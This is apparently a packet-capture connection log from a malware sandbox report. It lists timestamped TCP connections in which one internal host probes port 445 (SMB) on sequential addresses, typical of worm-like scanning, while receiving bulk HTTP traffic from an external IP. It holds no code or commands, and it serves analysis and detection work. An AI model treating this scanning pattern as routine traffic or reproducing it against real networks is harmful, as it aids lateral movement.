Jul 6, 2024 14:10:21.900684118 CEST	49771	445	192.168.2.4	192.168.0.32
Jul 6, 2024 14:10:21.901334047 CEST	445	49772	192.168.0.33	192.168.2.4
Jul 6, 2024 14:10:21.901576996 CEST	49772	445	192.168.2.4	192.168.0.33
Jul 6, 2024 14:10:21.911012888 CEST	49772	445	192.168.2.4	192.168.0.33
Jul 6, 2024 14:10:21.912024975 CEST	49773	445	192.168.2.4	192.168.0.34
Jul 6, 2024 14:10:21.916436911 CEST	445	49772	192.168.0.33	192.168.2.4
Jul 6, 2024 14:10:21.917136908 CEST	445	49773	192.168.0.34	192.168.2.4
Jul 6, 2024 14:10:21.917197943 CEST	49772	445	192.168.2.4	192.168.0.33
Jul 6, 2024 14:10:21.917216063 CEST	49773	445	192.168.2.4	192.168.0.34
Jul 6, 2024 14:10:21.917323112 CEST	49773	445	192.168.2.4	192.168.0.34
Jul 6, 2024 14:10:21.926040888 CEST	445	49773	192.168.0.34	192.168.2.4
Jul 6, 2024 14:10:21.927596092 CEST	49774	445	192.168.2.4	192.168.0.35
Jul 6, 2024 14:10:21.927757978 CEST	49773	445	192.168.2.4	192.168.0.34
Jul 6, 2024 14:10:21.933079004 CEST	445	49774	192.168.0.35	192.168.2.4
Jul 6, 2024 14:10:21.936281919 CEST	49774	445	192.168.2.4	192.168.0.35
Jul 6, 2024 14:10:21.936368942 CEST	49774	445	192.168.2.4	192.168.0.35
Jul 6, 2024 14:10:21.943125010 CEST	445	49774	192.168.0.35	192.168.2.4
Jul 6, 2024 14:10:21.943276882 CEST	49775	445	192.168.2.4	192.168.0.36
Jul 6, 2024 14:10:21.943602085 CEST	445	49774	192.168.0.35	192.168.2.4
Jul 6, 2024 14:10:21.944295883 CEST	49774	445	192.168.2.4	192.168.0.35
Jul 6, 2024 14:10:21.957297087 CEST	445	49775	192.168.0.36	192.168.2.4
Jul 6, 2024 14:10:21.957993984 CEST	49775	445	192.168.2.4	192.168.0.36
Jul 6, 2024 14:10:21.958946943 CEST	49776	445	192.168.2.4	192.168.0.37
Jul 6, 2024 14:10:21.959022999 CEST	49775	445	192.168.2.4	192.168.0.36
Jul 6, 2024 14:10:21.963882923 CEST	445	49776	192.168.0.37	192.168.2.4
Jul 6, 2024 14:10:21.964289904 CEST	49776	445	192.168.2.4	192.168.0.37
Jul 6, 2024 14:10:21.964330912 CEST	445	49775	192.168.0.36	192.168.2.4
Jul 6, 2024 14:10:21.964373112 CEST	49775	445	192.168.2.4	192.168.0.36
Jul 6, 2024 14:10:21.973485947 CEST	49776	445	192.168.2.4	192.168.0.37
Jul 6, 2024 14:10:21.974594116 CEST	49777	445	192.168.2.4	192.168.0.38
Jul 6, 2024 14:10:21.979567051 CEST	445	49777	192.168.0.38	192.168.2.4
Jul 6, 2024 14:10:21.979691029 CEST	445	49776	192.168.0.37	192.168.2.4
Jul 6, 2024 14:10:21.979767084 CEST	49777	445	192.168.2.4	192.168.0.38
Jul 6, 2024 14:10:21.979768991 CEST	49776	445	192.168.2.4	192.168.0.37
Jul 6, 2024 14:10:21.989226103 CEST	49777	445	192.168.2.4	192.168.0.38
Jul 6, 2024 14:10:21.990297079 CEST	49778	445	192.168.2.4	192.168.0.39
Jul 6, 2024 14:10:21.995114088 CEST	445	49778	192.168.0.39	192.168.2.4
Jul 6, 2024 14:10:21.995286942 CEST	445	49777	192.168.0.38	192.168.2.4
Jul 6, 2024 14:10:21.995357037 CEST	49777	445	192.168.2.4	192.168.0.38
Jul 6, 2024 14:10:21.995474100 CEST	49778	445	192.168.2.4	192.168.0.39
Jul 6, 2024 14:10:21.995475054 CEST	49778	445	192.168.2.4	192.168.0.39
Jul 6, 2024 14:10:22.001128912 CEST	445	49778	192.168.0.39	192.168.2.4
Jul 6, 2024 14:10:22.004273891 CEST	49778	445	192.168.2.4	192.168.0.39
Jul 6, 2024 14:10:22.005789042 CEST	49779	445	192.168.2.4	192.168.0.40
Jul 6, 2024 14:10:22.011415005 CEST	445	49779	192.168.0.40	192.168.2.4
Jul 6, 2024 14:10:22.012300014 CEST	49779	445	192.168.2.4	192.168.0.40
Jul 6, 2024 14:10:22.012384892 CEST	49779	445	192.168.2.4	192.168.0.40
Jul 6, 2024 14:10:22.019665003 CEST	445	49779	192.168.0.40	192.168.2.4
Jul 6, 2024 14:10:22.020303011 CEST	49779	445	192.168.2.4	192.168.0.40
Jul 6, 2024 14:10:22.021441936 CEST	49780	445	192.168.2.4	192.168.0.41
Jul 6, 2024 14:10:22.026736975 CEST	445	49780	192.168.0.41	192.168.2.4
Jul 6, 2024 14:10:22.028292894 CEST	49780	445	192.168.2.4	192.168.0.41
Jul 6, 2024 14:10:22.036079884 CEST	49780	445	192.168.2.4	192.168.0.41
Jul 6, 2024 14:10:22.039551020 CEST	49781	445	192.168.2.4	192.168.0.42
Jul 6, 2024 14:10:22.049279928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.049525023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.049535036 CEST	445	49780	192.168.0.41	192.168.2.4
Jul 6, 2024 14:10:22.049731016 CEST	49780	445	192.168.2.4	192.168.0.41
Jul 6, 2024 14:10:22.049731970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.050519943 CEST	445	49781	192.168.0.42	192.168.2.4
Jul 6, 2024 14:10:22.050638914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050674915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050687075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050818920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050831079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050833941 CEST	49781	445	192.168.2.4	192.168.0.42
Jul 6, 2024 14:10:22.050843954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050844908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.050867081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.050899982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.050926924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050939083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050949097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050960064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050968885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.050971031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050982952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.050996065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051022053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051105022 CEST	49781	445	192.168.2.4	192.168.0.42
Jul 6, 2024 14:10:22.051187038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051198959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051209927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051222086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051230907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051234007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051261902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051281929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051295042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051306009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051316977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051327944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051333904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051337957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051345110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051348925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051358938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051369905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051377058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051399946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051407099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051739931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051758051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051772118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051784039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051800013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051819086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051887035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051898003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051908970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051919937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051930904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051933050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051942110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051954031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051958084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051963091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.051975965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.051987886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.052012920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.052895069 CEST	49782	445	192.168.2.4	192.168.0.43
Jul 6, 2024 14:10:22.053689003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.053726912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.053736925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.053744078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.053761959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.053776026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.053798914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.053836107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.053837061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.053849936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.053859949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.053873062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.053890944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.053920984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.054102898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054119110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054130077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054141045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054152012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054162979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054166079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.054173946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054184914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054200888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.054204941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.054225922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.054235935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.055159092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.055170059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.055207014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.056221008 CEST	445	49781	192.168.0.42	192.168.2.4
Jul 6, 2024 14:10:22.056269884 CEST	49781	445	192.168.2.4	192.168.0.42
Jul 6, 2024 14:10:22.058461905 CEST	445	49782	192.168.0.43	192.168.2.4
Jul 6, 2024 14:10:22.060283899 CEST	49782	445	192.168.2.4	192.168.0.43
Jul 6, 2024 14:10:22.060378075 CEST	49782	445	192.168.2.4	192.168.0.43
Jul 6, 2024 14:10:22.066119909 CEST	445	49782	192.168.0.43	192.168.2.4
Jul 6, 2024 14:10:22.068279982 CEST	49782	445	192.168.2.4	192.168.0.43
Jul 6, 2024 14:10:22.068406105 CEST	49783	445	192.168.2.4	192.168.0.44
Jul 6, 2024 14:10:22.073401928 CEST	445	49783	192.168.0.44	192.168.2.4
Jul 6, 2024 14:10:22.076291084 CEST	49783	445	192.168.2.4	192.168.0.44
Jul 6, 2024 14:10:22.076390028 CEST	49783	445	192.168.2.4	192.168.0.44
Jul 6, 2024 14:10:22.082428932 CEST	445	49783	192.168.0.44	192.168.2.4
Jul 6, 2024 14:10:22.084587097 CEST	49784	445	192.168.2.4	192.168.0.45
Jul 6, 2024 14:10:22.084619999 CEST	49783	445	192.168.2.4	192.168.0.44
Jul 6, 2024 14:10:22.089807034 CEST	445	49784	192.168.0.45	192.168.2.4
Jul 6, 2024 14:10:22.092315912 CEST	49784	445	192.168.2.4	192.168.0.45
Jul 6, 2024 14:10:22.092525005 CEST	49784	445	192.168.2.4	192.168.0.45
Jul 6, 2024 14:10:22.097970009 CEST	445	49784	192.168.0.45	192.168.2.4
Jul 6, 2024 14:10:22.099695921 CEST	49785	445	192.168.2.4	192.168.0.46
Jul 6, 2024 14:10:22.099725962 CEST	49784	445	192.168.2.4	192.168.0.45
Jul 6, 2024 14:10:22.104671001 CEST	445	49785	192.168.0.46	192.168.2.4
Jul 6, 2024 14:10:22.108308077 CEST	49785	445	192.168.2.4	192.168.0.46
Jul 6, 2024 14:10:22.108405113 CEST	49785	445	192.168.2.4	192.168.0.46
Jul 6, 2024 14:10:22.114011049 CEST	445	49785	192.168.0.46	192.168.2.4
Jul 6, 2024 14:10:22.114198923 CEST	49785	445	192.168.2.4	192.168.0.46
Jul 6, 2024 14:10:22.115185022 CEST	49786	445	192.168.2.4	192.168.0.47
Jul 6, 2024 14:10:22.120078087 CEST	445	49786	192.168.0.47	192.168.2.4
Jul 6, 2024 14:10:22.120315075 CEST	49786	445	192.168.2.4	192.168.0.47
Jul 6, 2024 14:10:22.120413065 CEST	49786	445	192.168.2.4	192.168.0.47
Jul 6, 2024 14:10:22.125869989 CEST	445	49786	192.168.0.47	192.168.2.4
Jul 6, 2024 14:10:22.128282070 CEST	49786	445	192.168.2.4	192.168.0.47
Jul 6, 2024 14:10:22.130877018 CEST	49787	445	192.168.2.4	192.168.0.48
Jul 6, 2024 14:10:22.139383078 CEST	445	49787	192.168.0.48	192.168.2.4
Jul 6, 2024 14:10:22.140290976 CEST	49787	445	192.168.2.4	192.168.0.48
Jul 6, 2024 14:10:22.145369053 CEST	49787	445	192.168.2.4	192.168.0.48
Jul 6, 2024 14:10:22.146569014 CEST	49788	445	192.168.2.4	192.168.0.49
Jul 6, 2024 14:10:22.150600910 CEST	445	49787	192.168.0.48	192.168.2.4
Jul 6, 2024 14:10:22.152050018 CEST	445	49788	192.168.0.49	192.168.2.4
Jul 6, 2024 14:10:22.152117968 CEST	49787	445	192.168.2.4	192.168.0.48
Jul 6, 2024 14:10:22.152148962 CEST	49788	445	192.168.2.4	192.168.0.49
Jul 6, 2024 14:10:22.152236938 CEST	49788	445	192.168.2.4	192.168.0.49
Jul 6, 2024 14:10:22.157680988 CEST	445	49788	192.168.0.49	192.168.2.4
Jul 6, 2024 14:10:22.160273075 CEST	49788	445	192.168.2.4	192.168.0.49
Jul 6, 2024 14:10:22.161964893 CEST	49789	445	192.168.2.4	192.168.0.50
Jul 6, 2024 14:10:22.166992903 CEST	445	49789	192.168.0.50	192.168.2.4
Jul 6, 2024 14:10:22.168277025 CEST	49789	445	192.168.2.4	192.168.0.50
Jul 6, 2024 14:10:22.168371916 CEST	49789	445	192.168.2.4	192.168.0.50
Jul 6, 2024 14:10:22.173810005 CEST	445	49789	192.168.0.50	192.168.2.4
Jul 6, 2024 14:10:22.176264048 CEST	49789	445	192.168.2.4	192.168.0.50
Jul 6, 2024 14:10:22.177723885 CEST	49790	445	192.168.2.4	192.168.0.51
Jul 6, 2024 14:10:22.183696985 CEST	445	49790	192.168.0.51	192.168.2.4
Jul 6, 2024 14:10:22.183765888 CEST	49790	445	192.168.2.4	192.168.0.51
Jul 6, 2024 14:10:22.183837891 CEST	49790	445	192.168.2.4	192.168.0.51
Jul 6, 2024 14:10:22.189667940 CEST	445	49790	192.168.0.51	192.168.2.4
Jul 6, 2024 14:10:22.189728022 CEST	49790	445	192.168.2.4	192.168.0.51
Jul 6, 2024 14:10:22.193219900 CEST	49791	445	192.168.2.4	192.168.0.52
Jul 6, 2024 14:10:22.199461937 CEST	445	49791	192.168.0.52	192.168.2.4
Jul 6, 2024 14:10:22.199541092 CEST	49791	445	192.168.2.4	192.168.0.52
Jul 6, 2024 14:10:22.207931042 CEST	49791	445	192.168.2.4	192.168.0.52
Jul 6, 2024 14:10:22.209062099 CEST	49792	445	192.168.2.4	192.168.0.53
Jul 6, 2024 14:10:22.213040113 CEST	445	49791	192.168.0.52	192.168.2.4
Jul 6, 2024 14:10:22.213103056 CEST	49791	445	192.168.2.4	192.168.0.52
Jul 6, 2024 14:10:22.214555979 CEST	445	49792	192.168.0.53	192.168.2.4
Jul 6, 2024 14:10:22.214620113 CEST	49792	445	192.168.2.4	192.168.0.53
Jul 6, 2024 14:10:22.223505974 CEST	49792	445	192.168.2.4	192.168.0.53
Jul 6, 2024 14:10:22.224689007 CEST	49793	445	192.168.2.4	192.168.0.54
Jul 6, 2024 14:10:22.229331017 CEST	445	49792	192.168.0.53	192.168.2.4
Jul 6, 2024 14:10:22.229398012 CEST	49792	445	192.168.2.4	192.168.0.53
Jul 6, 2024 14:10:22.230739117 CEST	445	49793	192.168.0.54	192.168.2.4
Jul 6, 2024 14:10:22.230807066 CEST	49793	445	192.168.2.4	192.168.0.54
Jul 6, 2024 14:10:22.235064983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235076904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235088110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235121012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235167027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235503912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235536098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235546112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235552073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235563993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235569000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235590935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235605955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235651970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235691071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235758066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235788107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235795975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235800028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235810041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235821009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235841036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.235975027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.235991001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236000061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236020088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.236044884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.236701012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236711025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236721992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236747980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.236763000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.236805916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236816883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236826897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236839056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236850977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.236875057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.236876011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.236913919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237067938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237112999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237145901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237162113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237173080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237181902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237195969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237222910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237468004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237512112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237541914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237552881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237577915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237586021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237593889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.237596035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237623930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.237632990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238456964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238466978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238502026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238537073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238548994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238558054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238569021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238579035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238580942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238593102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238620996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238646030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238657951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238684893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238707066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238765001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238801003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238831043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238842010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238868952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238878965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238882065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238889933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.238928080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.238928080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239101887 CEST	49793	445	192.168.2.4	192.168.0.54
Jul 6, 2024 14:10:22.239295006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239341021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239368916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239381075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239398003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239424944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239434958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239638090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239675999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239677906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239689112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239712954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239738941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239841938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239852905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239876986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239885092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239887953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239897966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.239912033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.239936113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.240286112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.240329027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.240353107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.240362883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.240390062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.240401030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.240662098 CEST	80	49732	211.108.60.155	192.168.2.4
